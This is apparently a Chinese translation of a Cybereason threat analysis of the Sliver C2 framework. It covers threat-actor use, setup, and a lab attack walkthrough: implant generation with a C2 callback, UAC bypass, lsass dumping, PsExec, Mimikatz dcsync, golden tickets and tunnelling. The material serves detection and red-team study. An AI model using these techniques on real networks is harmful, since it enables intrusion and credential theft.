jackgreen译自:Cybereason 全球 SOC 和事件响应团队
原文链接:https://www.cybereason.com/blog/sliver-c2-leveraged-by-many-threat-actors
Cybereason 的 GSOC 和事件响应团队分析了一个 不断发展的名为 Sliver 的C2 框架。该框架由一家名为Bishop Fox网络安全公司创建。C2 框架或命令与控制 (C&C) 基础设施被安全专业人员(红队队员和渗透测试人员)用于在安全评估期间远程控制受感染的机器。出于同样的原因,它们也被威胁行为者利用。
在下文中,我们将详细描述该框架的工作原理、使用步骤、威胁参与者如何利用它以及如何实施检测和预防。
与此 Purple Team 系列中的往常一样,Cybereason GSOC 从不同的角度涵盖了该主题:
-
Sliver C2框架说明
-
红队方面- 在测试台上安装 Sliver C2
-
蓝队方面 ——分析过去导致使用 Sliver C2 的 BumbleBee 感染案例
-
紫队方面 ——使用蓝色和红色知识,产生检测和分析能力
在下表中,我们为 Sliver C2 的已识别特征及其在 MITRE ATT&CK 框架中的相应部分创建了映射:
Sliver C2 功能 |
MITRE战术 |
MITRE技术 |
shell |
执行 |
命令和脚本解释器:Windows Command Shell |
UAC绕过 |
特权升级 |
滥用权限控制机制:绕过用户帐户控制 |
获取系统 权限 |
特权升级 |
访问令牌操作 |
迁移Migrate |
防御规避 |
进程注入 |
PsExec |
横向 |
系统服务:服务执行 |
特定网络端口 |
命令与控制 |
非标准端口 |
使用SOCKS |
命令与控制 |
代理 |
Cybereason GSOC 团队从对 Sliver C2 的研究中提炼出以下关键点:
-
新趋势:Sliver C2 越来越受到 Threat Actors 的青睐,通常被视为 Cobalt Striker 的替代品。
-
模块化框架:扩展包管理器(武器库)允许轻松安装(自动编译)各种第三方工具,例如BOF和 .NET 工具,如 Ghostpack(Rubeus、Seatbelt、SharpUp、Certify 等)。
-
已经与已知的威胁行为者和恶意软件家族相关联:BumbleBee 加载程序感染通常伴随着 Sliver C2 的加载。众所周知,像 APT29 这样的威胁参与者也会利用这个框架。
-
独特的网络和系统签名:Sliver C2 的检测是可能的,因为该框架在执行 Sliver 特定功能时会创建特定的签名。基础设施服务器的检测和指纹识别也存在,并在本文中列出。
1.1 它是什么?
Sliver 是一个开源的跨平台对手仿真/红队框架。它的设计具有可扩展性,可供各种规模的组织用于执行安全测试。
Sliver 可与 Cobalt Strike 或 Metasploit 相媲美。
1.2 为什么它越来越受欢迎?
由于以下原因,Silver C2 越来越受欢迎:
-
Cobalt Strike 和 Metasploit 的免费开源替代品
-
Armory平台的模块化
-
跨平台:OS X、Linux 和 Windows
该框架为对手模拟提供了所有核心功能,最值得注意的是:
-
动态代码生成
-
编译时混淆
-
多人模式
-
分阶段和无阶段有效载荷
-
通过 mTLS、WireGuard、HTTP(S) 和 DNS 保护 C2
-
Windows进程迁移、进程注入、用户令牌操作等。
-
加密集成
-
内存中 .NET 程序集执行
-
COFF/BOF 内存加载器
-
TCP 和命名管道枢轴
-
Armory、别名和扩展包管理器
在 红队部分,我们分析了如何在现实生活中的攻击场景中利用 Sliver C2。
1.3已知威胁行为者利用 Sliver C2
自2020 年发布以来,Silver C2 的吸引力越来越大 。截至今天,威胁情报报告的数量仍然很少,主要报告描述了利用 Sliver C2 的SVR。
最近,包括一些威胁研究团队发现了 BumbleBee 加载器在初次感染后释放 Sliver C2 的案例。
SVR / APT29 (2021)
威胁行为者 |
恶意软件家族 |
日期 |
链接 |
APT29 / SVR / Cozy Bear / the Duke |
N/A |
2021 年 5 月 |
NCSC |
不同组织报告称,名为 APT29 的威胁行为者使用 Sliver C2 确保在受感染网络上的持久性。根据美国国家网络安全中心 (NCSC) 的这份 报告,Sliver C2 的使用“ 可能是为了确保维持对许多现有 WellMess 和 WellMail 受害者的访问权限 ”。在这种特定情况下,SVR 操作员针对每个入侵使用特定的 Sliver C2 基础设施服务器。
TA551 / Shathak (2021)
威胁行为者 |
恶意软件家族 |
日期 |
链接 |
TA551 / Shathak |
N/A |
2021 年 10 月 |
Proofpoint |
ProofPoint公司的安全研究人员 发现电子邮件中附有 Microsoft Office 文档,其中包含恶意宏,如果启用,将导致部署 Sliver C2 框架。
TA551 之前与分发恶意软件家族有关,例如 Ursnif、IcedID、QBot/Qakbot 等。
在这种情况下,Sliver 是在初始感染向量之后直接加载的,这与之前涉及 TA551 的案例不同,在之前的案例中,Cobalt Strike 等框架是在初始感染后第二次加载的。Sliver 的这种使用为威胁行为者提供了更大的灵活性。
Exotic Lily (2022)
威胁行为者 |
恶意软件家族 |
日期 |
关联 |
Exotic Lily |
BumbleBee Loader |
2022 |
Cybereason |
Cybereason GSOC 团队 之前曾报告过导致 C2 框架部署的 BumbleBee 加载程序感染。最近,团队观察到典型的 BumbleBee 加载程序感染,从 LNK 感染向量开始,最终导致部署 Sliver C2,以便威胁参与者在网络上获得持久性。
在本章中,我们描述了威胁行为者采用的攻击路径,起草了以下时间表:
活动 |
时间 |
使用 BumbleBee Loader 进行初始访问 |
T0 |
侦察/tasklist |
T0+2分钟 |
命令与控制 / Sliver C2 |
T0+11分钟 |
命令与控制/Sliver C2 Shell 功能 |
T0+41分钟 |
识别/whoami |
T0+42分钟 |
Sliver 被设计为第二阶段的有效载荷,在部署后,使用者可以完全访问目标系统并能够在攻击链中执行后续步骤。
Sliver C2 生态系统有四个主要组成部分:
-
服务器控制台 - 服务器控制台是主界面,在运行 sliver-server 可执行文件时启动。服务器控制台是客户端控制台的超集。除与客户端(操作员)管理相关的特定于服务器的命令外,所有代码都在客户端/服务器控制台之间共享。服务器控制台通过 gRPC 接口与服务器通信。
-
Sliver C2 服务器 - Sliver C2 服务器也是 sliver-server 可执行文件的一部分,负责管理内部数据库、启动和停止网络侦听器。用于与服务器交互的主要接口是 gRPC 接口,通过它实现所有功能。
-
客户端控制台——客户端控制台是用于与 Sliver C2 服务器交互的主要用户界面。
-
植入 - 植入是在您想要远程访问的目标系统上运行的实际恶意代码。
我们通过下图描述各个组件之间的关系,将Sliver C2服务器置于交易所的中心,供攻击者用于远程管理。
2.2如何使用 Sliver C2?
2.2.1 安装
框架基础安装很简单,包括下载和运行 bash 脚本:
curl https://sliver.sh/install|sudo bash
我们分析了脚本,运行时执行了以下操作:
-
安装如下依赖:gpg,curl,build-essential,mingw-w64,binutils-mingw-w64,g++-mingw-w64, (主要是编译相关)
-
从发布页面下载 Sliver C2 二进制文件并验证完整性
-
为 Sliver C2安装 systemd 服务以作为系统服务(守护进程)运行
-
为系统上的所有用户生成客户端配置,以允许他们连接并并行进行攻击活动。
作为系统服务运行的 Sliver 服务器赋予多个操作员连接的能力。
Sliver 植入物支持两种操作模式:
-
Beacon模式 - beacon模式实现了一种异步通信方式,其中植入程序定期检查服务器、检索任务、执行它们并返回结果。
-
Session模式——在会话模式下,植入程序将使用持久连接或使用长轮询创建交互式实时会话,具体取决于底层 C2 协议。
2.2.2 注入(implant)
Sliver C2 植入是跨平台的,您可以使用 --os 标志更改编译器目标。Sliver 接受任何 Golang GOOS 和 GOARCH 作为参数 --os 和 --arch。
我们使用以下命令为 Linux、Mac 和 Windows 生成植入程序:
generate --mtls [C2 Public IP]:443 --os linux --arch amd64
generate --mtls [C2 Public IP]:443 --os mac --arch arm64
generate --mtls [C2 Public IP]:443 --os windows --arch amd64
适用于不同平台(OS/Arch)的 Sliver C2 植入物
generate info 命令 可用于列出所有支持的编译目标。
2.2.3 监听器Listener
在捕获 shell 之前,您首先需要启动一个监听器。支持以下协议:
-
mTLS:Mutual Transport Layer Security (mTLS) 是建立加密 TLS 连接的过程,双方使用 X.509 数字证书相互验证
-
HTTP
-
HTTPS
-
DNS
-
Wireguard
监听器支持会话和beacons回调。我们示例中的植入程序是为443 端口上的mTLS 协议生成的,因此我们启动 mTLS 侦听器:
启动 mTLS 侦听器并显示当前活动的侦听器
2.2.4 会话Sessions
在目标主机上执行植入后,将创建一个会话:
显示当前会话
命令执行使用远程目标提供的session id 进行交互式会话:
与会话交互
Sliver 交互式会话提供了以下命令:
会话模式下支持的命令列表
2.2.5 武器库 Armory
武器库是 Sliver 别名和扩展包管理器,它允许您自动安装各种第三方工具,例如 BOF 和 .NET 工具。Github上提供了工具列表, 也可以使用安装包。
在本节中,我们将探讨 Sliver 提供的不同功能,以攻击者的逻辑顺序使用,从初始感染到域管理升级和数据渗出(exfiltration)。在蓝队部分,我们将从防守者的角度分析这些。
这将帮助我们创建检测规则,如 紫色团队部分所述。
Sliver C2 植入物被设计为在攻击者使用初始感染媒介(例如网络钓鱼、下载驱动、利用未修补的漏洞以部署在目标系统上。这部分超出了本文的范围,因此我们直接在目标系统上执行了植入。
我们按照 MITRE 战术顺序介绍了攻击场景,并将每个 Sliver C2 功能引入为攻击链的“链接”。
目标组织由三项资产组成:
-
一个工作站,在工作站网络区域
-
中转服务器 托管在DMZ网络区域
-
服务器网络区域中的域控制器。
攻击的不同阶段和 Sliver C2 命令和功能:执行、特权升级、持久化、凭证访问、发现、横向移动、收集、命令和控制、渗出
2.3.1 执行
Silver C2 植入程序作为第 2 阶段有效载荷在工作站上执行,我们从 Sliver C2 服务器获得一个 shell 会话,该会话提供多种方法来执行命令和其他脚本或二进制文件。
2.3.2 Shell 命令
Sliver C2 会话(session)有一个内置的命令 shell 来生成一个 powershell 命令提示符。然而,这被认为是不好的做法,并且会在目标系统上留下明显的日志以供检测。
从 Sliver C2 获取 Powershell 提示符
执行命令
在目标上执行程序的首选方法是 execute 命令,它也可以捕获输出。
使用 Sliver C2 内置的执行命令
RunAs
在指定用户的上下文中运行新进程(仅限 Windows)。
以 localAdmin 用户身份运行 ipconfig 命令
2.3.3 特权升级
我们使用属于“管理员”的本地组的帐户访问工作站。但是,我们需要将进程提升到 NT Authority/System ,使我们能够执行进程内存转储等高权限操作。
UAC绕过
可以使用多种可用技术来绕过用户帐户控制。为此,我们使用 cmstp.exe Windows 系统二进制文件 。该漏洞利用的详细信息和源代码可 在此处获得。
UAC绕过利用源文件
接下来,我们将文件上传到受害机器并执行 powershell 脚本以返回一个绕过 UAC 的新会话。
执行UAC绕过漏洞利用获取系统权限
在绕过 UAC 之后,我们可以使用内置的 getsystem 命令以 NT AUTHORITYSYSTEM 用户身份生成一个新的 Sliver 会话。
执行内置的 getsystem 命令
测试新获得的权限确实显示当前用户为 NT AUTHORITYSYSTEM 。
getsystem 命令后的会话用户
2.3.4 防御规避
本节介绍用于避免检测的 Sliver C2 植入物的特性。
Migrate
我们使用内置的 migrate 命令将 Sliver C2 植入隐藏到另一个远程进程中,以达到防御规避目的。
使用 Sliver C2 注入命令
2.3.5 凭据访问
获得权限后,我们使用内置的 procdump 命令转储“lsass.exe”进程内存并在 Sliver C2 上离线检索凭证。
使用内置的 procdump 命令转储 lsass.exe 内存
可以使用 pypykatz离线读取 Linux(Sliver C2 服务器)上的内存转储。
Pypykatz 读取 lsass.exe 内存转储(省略完整输出)
我们能够获得登录用户 (STAGEZEROalon) 的密码。
2.3.6发现
在此阶段,我们使用 Sliver C2 来获取有关 Active Directory 的信息以及发现要转向的新机器。
网络扫描
我们使用 Sliver C2 交互式 shell 运行 powershell 命令,以下命令扫描网络以发现活动主机。
从 Sliver C2 shell 进行网络扫描
IP 地址为 10.0.2.10 的实时主机将是我们横向移动的目标。
检索 10.0.2.10 的主机名
域中10.0.2.10 的 FQDN STAGEZERO 是 s1-confluence.stagezero.lab 。
Active Directory发现
我们使用带有 Sliver C2 内置 execute 命令的 Windows 系统二进制文件来发现 Active Directory。
使用 net 发现 STAGEZERO 域管理员
使用 nltest 发现 STAGEZERO 域控制器
2.3.7 横向移动
在凭据访问阶段,我们获得了STAGEZEROalon ,在发现阶段,我们找到了另一个主机 s1-confluence.stagezero.lab 。此信息将用于横向移动。
PsExec
我们利用 Sliver C2 内置的 psexec 命令来实现横向移动:
横向移动到 s1-confluence 服务器
在这台新机器上,我们执行相同的操作(lsass.exe 进程内存的进程转储、 pypykatz 离线启动)来访问凭据。
这些步骤使我们能够访问用户 stagezero_adm ,我们从 Active Directory 发现中知道该用户是域管理员帐户。
Stagezero_adm 帐户凭据
使用域管理员凭据,我们将伪造一张 Kerberos Golden 票证,以获得对所有加入域的系统的完全访问权限。我们利用 安装的Rubeus从 Sliver C2 Armory获取 Kerberos TGT 以验证为 stagezero_adm 。
使用 Rubeus 获取 stagezero_adm 账户的 TGT
命令从离线内存转储中获取的凭据 我们使用 Kerberos TGT 票证或通过psexec 横向移动到域控制器 (DC-1)。
为了伪造 Kerberos Golden Ticket,我们将使用 Sliver C2 上传内置的 Mimikatz 最新版本到 DC-1 机器,解压缩存档并执行 Mimikatz 二进制文件。
在目标机器上上传并解压 Mimikatz
我们使用 Mimikatz dcsync 命令获取用于签署 Kerberos 票证的 krbtgt 帐户密码哈希。
获取krbtgt账号密码hash
可以通过 Sliver C2 植入使用 Rubeus 获得 Kerberos Golden ticket:
用 Rubeus 伪造 Kerberos Golden Ticket
这授予我们域管理员权限并代表攻击者对整个域的入侵成功。
2.3.8 收集和渗出
在本节中,我们使用 Sliver C2 功能来访问目标内部系统。
Socks 代理
Sliver C2 有 SOCKS5 内置命令来打开代理,这个代理通过代表客户端(植入 Sliver C2 的目标机器)将网络流量路由到实际服务器,来促进与内部服务器的通信。
使用 Sliver C2 设置 SOCKS5 代理
在将我们的导航器配置为使用 SOCKS 代理之后,我们可以访问受感染域的内部资源。
使用 SOCKS 代理访问 s1-confluence 服务器
Wireguard
Sliver C2 提供了另一种访问受害者网络的内置方法, Wireguard VPN植入。
设置 Sliver C2 Wireguard 侦听器
Endpoint 设置必须配置为指向 Sliver C2 服务器的 WireGuard 侦听器,在我们的例子中为 40.88.14*.*:999。
RunningSliver C2 Wireguard 植入物
使用内置的“ wg-portfwd add --remote 10.0.1.10:3389” 设置端口转发后,我们可以访问受害者的内部资源。
到受害者内部服务器 (DC-1) 的 RDP 连接
在之前的阶段,我们使用 Sliver C2 获得对受害者内部网络和域管理员凭据的多重访问(HTTP、RDP)。我们现在可以通过创建的隧道或通过 Sliver C2 植入物从受害者系统中泄露敏感数据。
以下师傅的问题对学习和了解sliver使用提供了重要帮助,特此鸣谢:
https://forum.butian.net/share/2274
https://forum.butian.net/share/2275
https://forum.butian.net/share/2243
原文始发于微信公众号(Desync InfoSec):威胁行为者Sliver C2框架使用分析(上)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论